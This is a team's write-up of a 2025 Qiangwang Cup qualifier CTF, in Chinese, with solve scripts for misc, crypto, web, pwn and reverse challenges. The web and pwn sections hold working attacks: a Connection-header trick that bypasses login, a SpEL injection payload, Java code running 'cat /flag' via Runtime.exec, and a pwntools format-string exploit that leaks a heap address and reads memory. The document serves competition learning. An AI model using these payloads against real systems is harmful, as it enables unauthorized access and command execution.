2025 强网杯S9 初赛 CloudEver战队wp

misc

Personal Vault

string 搜索flag正则,一把嗦

The_Interrogation_Room

import socket, re, string
from hashlib import sha256
​
HOST = "47.94.202.253"
PORT = 34888
DEBUG = True
​
ALPH = string.ascii_letters + string.digits
​
def _recvline(sock):
    buf = b""
    while True:
        ch = sock.recv(1)
        if not ch:
            break
        buf += ch
        if ch == b"\n":
            break
    return buf.decode(errors="ignore")
​
class Reader:
    def __init__(self, sock):
        self.s = sock
        self.q = []
    def push(self, line):
        self.q.append(line)
    def recvline(self):
        if self.q:
            return self.q.pop(0)
        return _recvline(self.s)
    def read_until(self, keys, echo_if_unwanted=False):
        while True:
            line = self.recvline()
            if not line:
                raise RuntimeError("connection closed while waiting for: " + " | ".join(keys))
            for k in keys:
                if k in line:
                    return line, k
            if echo_if_unwanted and line.strip():
                print(line.rstrip())
                
def sendline(sock, line):
    if isinstance(line, str):
        line = line.encode()
    if not line.endswith(b"\n"):
        line += b"\n"
    sock.sendall(line)
    
def solve_pow_with_first_line(r: Reader, first_line: str):
    """
    已经读到第一行 pow 提示 first_line,继续读第二行并爆破。
    """
    m = re.search(r"sha256\(XXXX\+([A-Za-z0-9]{16})\)\s*==\s*([0-9a-f]{64})", first_line.strip())
    if not m:
        if DEBUG:
            print("[DEBUG] handshake: not POW, push back:", first_line.rstrip())
        r.push(first_line)
        return False
    suffix, target = m.group(1), m.group(2)
    peek = r.recvline()
    if DEBUG:
        print("[DEBUG] handshake: saw POW; next line:", peek.rstrip())
​
    suf = suffix.encode()
    for a in ALPH:
        for b in ALPH:
            for c in ALPH:
                for d in ALPH:
                    pre = (a+b+c+d).encode()
                    if sha256(pre + suf).hexdigest() == target:
                        sendline(r.s, pre.decode())
                        if DEBUG:
                            print("[DEBUG] POW solved:", pre.decode())
                        return True
    raise RuntimeError("PoW brute failed (unexpected)")
​
def xor2(a, b):
    return f"( ( {a} and ( {b} == 0 ) ) or ( ( {a} == 0 ) and {b} ) )"
​
def xor_many(vs):
    assert len(vs) >= 2
    e = xor2(vs[0], vs[1])
    for v in vs[2:]:
        e = xor2(e, v)
    return e
​
BASE_Q = [f"S{i} == 1" for i in range(8)]
​
A = [
    [0,1,2,3,6,7],
    [0,1,2,4,5],
    [0,1,4],
    [1,5,7],
    [2,4,6],
    [0,3,4,6,7],
    [0,6,7],
    [0,2,3,4,5,6],
    [0,1,2,3,5,7],
]
​
def build_queries():
    qs = list(BASE_Q)
    for idxs in A:
        vs = [f"S{i}" for i in idxs]
        expr = xor_many(vs)
        qs.append(f"{expr} == 1")
    assert len(qs) == 17
    for q in qs:
        assert "  " not in q
    return qs
​
def parse_bool(line):
    return 1 if "True" in line else 0
​
def parity(bits, idxs):
    s = 0
    for i in idxs:
        s ^= bits[i]
    return s
​
def encode_from_S(S):
    checks = [parity(S, idxs) for idxs in A]
    return S + checks
​
def decode_two_lies(ans17):
    N = 17
    cands = []
    for i in range(N):
        for j in range(i+1, N):
            t = ans17[:]
            t[i] ^= 1
            t[j] ^= 1
            S = t[:8]
            if encode_from_S(S) == t:
                cands.append((i, j, S))
    if len(cands) == 1:
        return cands[0]
    bestS, bestD = None, 1e9
    for x in range(256):
        S = [(x>>k)&1 for k in range(8)]
        code = encode_from_S(S)
        d = sum(ci ^ bi for ci, bi in zip(code, ans17))
        if d < bestD:
            bestD, bestS = d, S
    return (-1, -1, bestS)
​
def run():
    qs = build_queries()
    with socket.create_connection((HOST, PORT), timeout=60) as s:
        s.settimeout(60)
        r = Reader(s)
        first = r.recvline()
        if DEBUG:
            print("[DEBUG] first line:", first.rstrip() or "<empty>")
​
        if first and first.startswith("sha256("):
            ok = solve_pow_with_first_line(r, first)
            if not ok:
                pass
        else:
            r.push(first)
        rounds = 0
        while True:
            line, key = r.read_until(["Ask your question:", "Welcome to the interrogation room!"], echo_if_unwanted=True)
            if "Welcome" in line:
                _, _ = r.read_until(["Ask your question:"], echo_if_unwanted=True)
            answers = []
            for qi in range(17):
                sendline(s, qs[qi])
                resp, _ = r.read_until(["Prisoner's response:"], echo_if_unwanted=True)
                answers.append(parse_bool(resp))
​
            _, _ = r.read_until(["Now reveal the true secrets"], echo_if_unwanted=True)
​
            (i, j, S) = decode_two_lies(answers)
            if DEBUG:
                enc = encode_from_S(S)
                dist = sum(a ^ b for a, b in zip(enc, answers))
                print(f"[DEBUG] answers     = {''.join(map(str,answers))}")
                print(f"[DEBUG] flip_at     = ({i},{j})")
                print(f"[DEBUG] S           = {''.join(map(str,S))}")
                print(f"[DEBUG] parity(enc) = {''.join(map(str,enc[8:]))}")
                print(f"[DEBUG] parity(obs) = {''.join(map(str,answers[8:]))}")
                print(f"[DEBUG] hd(enc,obs) = {dist}")
​
            sendline(s, " ".join(map(str, S)))
​
            while True:
                line = r.recvline()
                if not line:
                    print("connection closed")
                    return
                txt = line.strip()
                if not txt:
                    continue
                print(txt)
                if "ask your next round" in txt.lower():
                    rounds += 1
                    break
                if "laughs triumphantly" in txt.lower():
                    return
                if "flag{" in txt.lower():
                    return
​
if __name__ == "__main__":
    run()

legacyOLED

导入到pulseView查看

设置I2C解码,导出数据

这里展示部分数据:

2257254-2257254 I2C: Address/Data: Start
2257295-2257575 I2C: Address/Data: Address write: 3C
2257575-2257615 I2C: Address/Data: Write
2257615-2257655 I2C: Address/Data: ACK
2257670-2257990 I2C: Address/Data: Data write: 00
2257990-2258030 I2C: Address/Data: ACK
2258030-2258350 I2C: Address/Data: Data write: 20
2258350-2258390 I2C: Address/Data: ACK
2258390-2258710 I2C: Address/Data: Data write: 01
2258710-2258750 I2C: Address/Data: ACK
2258792-2258792 I2C: Address/Data: Stop
2258999-2258999 I2C: Address/Data: Start
2259039-2259319 I2C: Address/Data: Address write: 3C
2259319-2259359 I2C: Address/Data: Write
2259359-2259399 I2C: Address/Data: ACK
2259415-2259735 I2C: Address/Data: Data write: 00
2259735-2259775 I2C: Address/Data: ACK
2259775-2260095 I2C: Address/Data: Data write: 22
2260095-2260135 I2C: Address/Data: ACK
2260135-2260457 I2C: Address/Data: Data write: 03
2260456-2260497 I2C: Address/Data: ACK
2260496-2260816 I2C: Address/Data: Data write: 05
2260816-2260856 I2C: Address/Data: ACK
2260897-2260897 I2C: Address/Data: Stop

然后写脚本提取图片

import re
from PIL import Image
import sys
​
WIDTH = 128
HEIGHT = 64
INPUT_FILENAME = "out.txt"
​
def main():
    try:
        with open(INPUT_FILENAME, 'r') as f:
            log_content = f.read()
    except FileNotFoundError:
        sys.exit(1)
    canvas = [[0 for _ in range(HEIGHT)] for _ in range(WIDTH)]
    state = {
        'col_start': 0, 'col_end': WIDTH - 1,
        'page_start': 0, 'page_end': (HEIGHT // 8) - 1,
        'current_col': 0, 'current_page': 0,
        'addressing_mode': 2 
    }
​
    transactions = re.split(r'I2C: Address/Data: Start', log_content)
​
    for transaction in transactions:
        if not transaction.strip() or "Address write: 3C" not in transaction:
            continue
​
        data_bytes = [int(val, 16) for val in re.findall(r"Data write: ([0-9A-Fa-f]{2})", transaction)]
        
        if not data_bytes:
            continue
​
        control_byte = data_bytes[0]
        payload = data_bytes[1:]
​
        if control_byte == 0x00:
            p_idx = 0
            while p_idx < len(payload):
                cmd = payload[p_idx]
                
                if cmd == 0x20 and p_idx + 1 < len(payload):
                    state['addressing_mode'] = payload[p_idx+1]
                    p_idx += 1
                elif cmd == 0x21 and p_idx + 2 < len(payload):
                    state['col_start'] = payload[p_idx+1]; state['col_end'] = payload[p_idx+2]
                    state['current_col'] = state['col_start']
                    p_idx += 2
                elif cmd == 0x22 and p_idx + 2 < len(payload):
                    state['page_start'] = payload[p_idx+1]; state['page_end'] = payload[p_idx+2]
                    state['current_page'] = state['page_start']
                    state['current_col'] = state['col_start']
                    p_idx += 2
                
                p_idx += 1
​
        elif control_byte == 0x40:
            for byte_val in payload:
                if state['current_col'] < WIDTH and state['current_page'] < (HEIGHT // 8):
                    for bit in range(8):
                        if (byte_val >> bit) & 1:
                            y = state['current_page'] * 8 + bit
                            if y < HEIGHT:
                                canvas[state['current_col']][y] = 1
​
                if state['addressing_mode'] == 0:  # 水平模式
                    state['current_col'] += 1
                    if state['current_col'] > state['col_end']:
                        state['current_col'] = state['col_start']; state['current_page'] += 1
                        if state['current_page'] > state['page_end']: state['current_page'] = state['page_start']
                elif state['addressing_mode'] == 1:  # 垂直模式
                    state['current_page'] += 1
                    if state['current_page'] > state['page_end']:
                        state['current_page'] = state['page_start']; state['current_col'] += 1
                        if state['current_col'] > state['col_end']: state['current_col'] = state['col_start']
                else:  # 页模式
                    state['current_col'] += 1
                    if state['current_col'] > state['col_end']: state['current_col'] = state['col_start']
​
    img = Image.new('1', (WIDTH, HEIGHT))
    pixels = img.load()
    for x in range(WIDTH):
        for y in range(HEIGHT):
            pixels[x, y] = 0 if canvas[x][y] == 1 else 1 
    
    output_filename = "logo.png"
    img.save(output_filename)
if __name__ == "__main__":
    main()

提取如下图片

然后提取前7行的图片数据进行解码

from PIL import Image
​
IMAGE_FILE = "logo.png"
TEXT_AREA_HEIGHT = 7
​
def ascii(binary_string):
    padding = len(binary_string) % 8
    if padding != 0:
        binary_string = binary_string[:-padding]
​
    chars = []
    for i in range(0, len(binary_string), 8):
        byte = binary_string[i:i+8]
        try:
            char_code = int(byte, 2)
            if 32 <= char_code <= 126:
                chars.append(chr(char_code))
        except ValueError:
            continue
    return "".join(chars)
​
def decode(filename):
​
    img = Image.open(filename).convert('1')
    width, height = img.size
    bin = []
​
    for y in range(TEXT_AREA_HEIGHT):
        for x in range(width):
            pixel = img.getpixel((x, y))
            if pixel == 0:
                bin.append('1')
            else:
                bin.append('0')
    bin = "".join(bin)
    text = ascii(bin)
    return text
​
if __name__ == "__main__":
    flag = decode(IMAGE_FILE)
    print(flag)

得到结果

Congratulations on your incredible success!   flag is qwb{Re41_Ma5te7-O5-S5Dl3o6_12C}!  You bre really smart"

Crypto

check-little

from Crypto.Util.number import inverse, long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import math
​
N = int("""18795243691459931102679430418438577487182868999316355192329142792373332586982081116157618183340526639820832594356060100434223256500692328397325525717520080923556460823312550686675855168462443732972471029248411895298194999914208659844399140111591879226279321744653193556611846787451047972910648795242491084639500678558330667893360111323258122486680221135246164012614985963764584815966847653119900209852482555918436454431153882157632072409074334094233788430465032930223125694295658614266389920401471772802803071627375280742728932143483927710162457745102593163282789292008750587642545379046283071314559771249725541879213""")
c = int("""10533300439600777643268954021939765793377776034841545127500272060105769355397400380934565940944293911825384343828681859639313880125620499839918040578655561456321389174383085564588456624238888480505180939435564595727140532113029361282409382333574306251485795629774577583957179093609859781367901165327940565735323086825447814974110726030148323680609961403138324646232852291416574755593047121480956947869087939071823527722768175903469966103381291413103667682997447846635505884329254225027757330301667560501132286709888787328511645949099996122044170859558132933579900575094757359623257652088436229324185557055090878651740""")
iv = b'\x91\x16\x04\xb9\xf0RJ\xdd\xf7}\x8cW\xe7n\x81\x8d'
ct = bytes.fromhex("bf87027bc63e69d3096365703a6d47b559e0364b1605092b6473ecde6babeff2")
e = 3
​
#直接分解 N
p = math.gcd(N, c)
q = N // p
​
#计算d
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
​
#还原 key
key = pow(c, d, N)
​
#用前 16 字节当 AES 密钥解密
aes_key = long_to_bytes(key)[:16]
flag = unpad(AES.new(aes_key, AES.MODE_CBC, iv).decrypt(ct), 16)
print(flag.decode())
​

web

secretVault

curl -v -H "Connection: keep-alive, X-User" http://101.201.70.201:22674/dashboard

http标准是,凡是列在 Connection 头里的字段名,在转发时必须被移除。如果客户端发 Connection: keep-alive, X-User,转发前就会把 X-User 一并剥掉

于是python默认设置X-User为0,也就是admin权限

def login_required(view_func):
    @wraps(view_func)
    def wrapped(*args, **kwargs):
        uid = request.headers.get('X-User', '0')
        print(uid)
        if uid == 'anonymous':
            flash('Please sign in first.', 'warning')
            return redirect(url_for('login'))
        try:
            uid_int = int(uid)
        except (TypeError, ValueError):
            flash('Invalid session. Please sign in again.', 'warning')
            return redirect(url_for('login'))
        user = User.query.filter_by(id=uid_int).first()
        if not user:
            flash('User not found. Please sign in again.', 'warning')
            return redirect(url_for('login'))
​
        g.current_user = user
        return view_func(*args, **kwargs)
​
    return wrapped

bbjv

EvaluationService 用 SpEL 模板 解析 rule

SpelConfig 把 System.getProperties() 放进变量 #systemProperties

用 SimpleEvaluationContext阻断了反射属性读取(SecurePropertyAccessor),但Map访问器仍可用;而 #systemProperties 是 java.util.Properties,因此可以用下标写入

GatewayController 在求值之后,用 System.getProperty("user.home")/flag.txt 读 flag。镜像里 flag 放在 /tmp/flag.txt,所以只要在 SpEL 里把 user.home 改成 /tmp,同一次请求就会读到 flag 并回显。

http://ip:port/check?rule=%23%7B%23systemProperties%5B%27user.home%27%5D%3D%27%2Ftmp%27%7D

Result: /tmp
🚩 Flag: flag{9b2914dc-c76b-4d06-aa6c-5aaa6b22064d}

yamcs

这个页面似乎可以执行summary中的代码

try {
    String prop = System.getProperty("user.dir");
    out0.setStringValue("PROP_ALLOWED:" + (prop == null ? "NULL" : prop));
} catch (Throwable t) {
    out0.setStringValue("PROP_BLOCKED");
}

执行了

接着读flag

try {
    java.util.Scanner s = new java.util.Scanner(
        Runtime.getRuntime().exec("cat /flag").getInputStream()
    ).useDelimiter("\\A");
    out0.setStringValue(s.hasNext() ? s.next().trim() : "EMPTY");
} catch (Exception e) {
    out0.setStringValue("ERROR");
}

Pwn

flag market

通过一个可控缓冲区溢出 + printf 格式化字符串的组合漏洞:

用 %9$p 稳定泄露堆地址(已侦察出第 9 个变参处有可用指针)。

用 %12$hn 把已打印字符数半字节写入到我们指定的全局/状态地址,实现“状态污染/指针劫持”。将泄露到的堆基址加上偏移 0x1e0,得到Flag 在堆上的实际地址。再次进入漏洞点,用 %12$s 把我们可控的第 12 个参数当作指针来直接读出 Flag。

    溢出到格式化字符串的填充长度:overflow_padding = 0x100

    堆泄露到 Flag 的固定偏移:heap_leak_offset = 0x1e0

    状态污染的写入目标地址:write_target_addr = 0x404090

    凑数用的打印宽度:write_value_padding = 5011(使 %hn 写入的低 2 字节达到期望值)

    格式化参数序号(稳定):

    • heap_leak_fmt_offset = 9%9$p 泄堆)
    • write_buffer_fmt_offset = 12%12$hn / %12$s 针对我们可控的参数)
    from pwn import *
    import time
    
    context.clear(arch='amd64', os='linux', log_level='debug')
    HOST = "8.147.135.195"
    PORT = 24640
    io = remote(HOST, PORT)
    
    overflow_padding = 0x100      # 溢出到格式化字符串的填充长度
    heap_leak_offset = 0x1e0      # 泄露的堆地址到 flag 的魔法偏移
    write_target_addr = 0x404090  # 状态污染的写入目标地址
    write_value_padding = 5011    # 用于凑数的魔法数字
    
    heap_leak_fmt_offset = 9      # %9$p 泄露堆地址
    write_buffer_fmt_offset = 12  # %12$hn / %12$s 使用我们可控的缓冲区
    
    log.info(f"确认攻击参数: 写入偏移={write_buffer_fmt_offset}, 堆泄露偏移={heap_leak_fmt_offset}")
    
    log.info("--- 阶段一: 泄露堆地址并污染状态 ---")
    
    io.sendlineafter(b'2.exit\n', b'1')
    time.sleep(0.1)
    io.sendlineafter(b'pay?\n', b'255')
    time.sleep(0.1)
    
    payload1 = b'a' * overflow_padding
    payload1 += f'%{heap_leak_fmt_offset}$p'.encode()
    payload1 += b'%' + str(write_value_padding).encode() + b'c'
    payload1 += f'%{write_buffer_fmt_offset}$hn'.encode()
    io.sendlineafter(b':', payload1)
    
    io.sendlineafter(b'exit', b'1')
    io.sendlineafter(b'how much you want to pay?\n', p64(write_target_addr))
    
    heap_addr_str = io.recv(10)
    heap_addr = int(heap_addr_str, 16)
    flag_addr_on_heap = heap_addr + heap_leak_offset
    log.success(f"泄露的原始堆地址: {hex(heap_addr)}")
    log.success(f"计算得到 Flag 在堆上的地址: {hex(flag_addr_on_heap)}")
    
    log.info("--- 阶段二: 读取 Flag ---")
    
    io.sendlineafter(b'exit', b'2')
    io.recvuntil(b"2.exit\n")
    io.sendline(b"1")
    
    io.sendlineafter(b'pay?', b'-1')
    payload2 = b'a' * overflow_padding + f'%{write_buffer_fmt_offset}$s'.encode()
    io.sendlineafter(b':', payload2)
    
    io.sendlineafter(b'exit', b'1')
    io.sendlineafter(b'?', p64(flag_addr_on_heap))
    
    io.interactive()

    Re

    butterfly

    IDA打开,读取文件和encoder的关键加密如下

    这段代码使用MMX指令对数据块进行加密处理。具体步骤包括:

    1. mpxor:将64位数据与密钥(v42[0])进行按位异或。
    2. m_psrlwi和m_psllwi:将64位数据中的每个16位字分别右移8位和左移8位,然后通过_m_por合并,实现每个16位字内字节的交换。
    3. m_psllqi和m_psrlqi:将整个64位数据左移1位和右移63位(相当于循环左移1位),然后通过_m_por合并。
    4. mpaddb:将每个字节与密钥的对应字节相加(模256),然后再存储回原位置。

    因此,加密过程可以总结为: XOR密钥 -> 交换每个16位字的字节 -> 循环左移1位 -> 每个字节加上密钥的对应字节

    解密过程则需要逆向这些操作:

    每个字节减去密钥的对应字节(模256)-> 循环右移1位 -> 交换每个16位字的字节 -> XOR密钥

    注意:密钥是64位的,但实际加密时,在字节加法步骤中,密钥被当作8个独立的字节使用。

    在解密代码中,我们按照逆序执行相反的操作。但是注意,在加密时,字节加法是模256的,因此在解密时,我们需要进行模256的减法。

    另外,循环左移1位的逆操作是循环右移1位。

    交换每个16位字的字节的逆操作就是再次交换字节(因为交换两次就恢复了)。

    XOR的逆操作就是再次XOR相同的密钥。

    最终解密脚本如下,注意因为是以8个字节为单位进行加解密,所以最后多出来的四字节就是原文,直接贴回去就行了,最终flag:flag{butter_fly_mmx_encode_7778167}

    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <string.h>
    
    // 解密一个8字节块
    uint64_t decrypt_block(uint64_t block, uint64_t key) {
        // 步骤1: 每个字节减去密钥的对应字节(模256)
        uint8_t *block_bytes = (uint8_t *)&block;
        uint8_t *key_bytes = (uint8_t *)&key;
        for (int i = 0; i < 8; i++) {
            block_bytes[i] = (block_bytes[i] - key_bytes[i]) & 0xFF;
        }
    
        // 步骤2: 整个64位循环右移1位
        block = (block >> 1) | (block << 63);
    
        // 步骤3: 交换每个16位字中的字节
        uint16_t *words = (uint16_t *)&block;
        for (int i = 0; i < 4; i++) {
            words[i] = (words[i] >> 8) | (words[i] << 8);
        }
    
        // 步骤4: XOR密钥
        block ^= key;
    
        return block;
    }
    
    int main(int argc, char *argv[]) {
        if (argc != 4) {
            fprintf(stderr, "Usage: %s <encoded_file> <key_file> <output_file>\n", argv[0]);
            return 1;
        }
    
        const char *encoded_filename = argv[1];
        const char *key_filename = argv[2];
        const char *output_filename = argv[3];
    
        // 读取编码文件
        FILE *encoded_file = fopen(encoded_filename, "rb");
        if (!encoded_file) {
            perror("Failed to open encoded file");
            return 1;
        }
    
        fseek(encoded_file, 0, SEEK_END);
        long encoded_size = ftell(encoded_file);
        fseek(encoded_file, 0, SEEK_SET);
    
        if (encoded_size % 8 != 0) {
            fprintf(stderr, "Error: Encrypted file size must be multiple of 8 bytes.\n");
            fclose(encoded_file);
            return 1;
        }
    
        uint64_t *encoded_data = (uint64_t *)malloc(encoded_size);
        if (!encoded_data) {
            perror("Memory allocation failed");
            fclose(encoded_file);
            return 1;
        }
    
        if (fread(encoded_data, 1, encoded_size, encoded_file) != encoded_size) {
            perror("Failed to read encoded file");
            free(encoded_data);
            fclose(encoded_file);
            return 1;
        }
        fclose(encoded_file);
    
        // 读取密钥文件(前8字节作为密钥)
        FILE *key_file = fopen(key_filename, "rb");
        if (!key_file) {
            perror("Failed to open key file");
            free(encoded_data);
            return 1;
        }
    
        uint64_t key;
        if (fread(&key, 1, 8, key_file) != 8) {
            perror("Failed to read key");
            free(encoded_data);
            fclose(key_file);
            return 1;
        }
        fclose(key_file);
    
        // 解密每个8字节块
        int num_blocks = encoded_size / 8;
        for (int i = 0; i < num_blocks; i++) {
            encoded_data[i] = decrypt_block(encoded_data[i], key);
        }
    
        // 写入解密后的文件
        FILE *output_file = fopen(output_filename, "wb");
        if (!output_file) {
            perror("Failed to create output file");
            free(encoded_data);
            return 1;
        }
    
        if (fwrite(encoded_data, 1, encoded_size, output_file) != encoded_size) {
            perror("Failed to write output file");
            free(encoded_data);
            fclose(output_file);
            return 1;
        }
    
        fclose(output_file);
        free(encoded_data);
    
        printf("Successfully decrypted to: %s\n", output_filename);
        return 0;
    }
    暂无评论

    发送评论 编辑评论

    
    				
    |´・ω・)ノ
    ヾ(≧∇≦*)ゝ
    (☆ω☆)
    (╯‵□′)╯︵┴─┴
     ̄﹃ ̄
    (/ω\)
    ∠( ᐛ 」∠)_
    (๑•̀ㅁ•́ฅ)
    →_→
    ୧(๑•̀⌄•́๑)૭
    ٩(ˊᗜˋ*)و
    (ノ°ο°)ノ
    (´இ皿இ`)
    ⌇●﹏●⌇
    (ฅ´ω`ฅ)
    (╯°A°)╯︵○○○
    φ( ̄∇ ̄o)
    ヾ(´・ ・`。)ノ"
    ( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
    (ó﹏ò。)
    Σ(っ °Д °;)っ
    ( ,,´・ω・)ノ"(´っω・`。)
    ╮(╯▽╰)╭
    o(*////▽////*)q
    >﹏<
    ( ๑´•ω•) "(ㆆᴗㆆ)
    😂
    😀
    😅
    😊
    🙂
    🙃
    😌
    😍
    😘
    😜
    😝
    😏
    😒
    🙄
    😳
    😡
    😔
    😫
    😱
    😭
    💩
    👻
    🙌
    🖕
    👍
    👫
    👬
    👭
    🌚
    🌝
    🙈
    💊
    😶
    🙏
    🍦
    🍉
    😣
    Source: github.com/k4yt3x/flowerhd
    颜文字
    Emoji
    小恐龙
    花!
    上一篇
    下一篇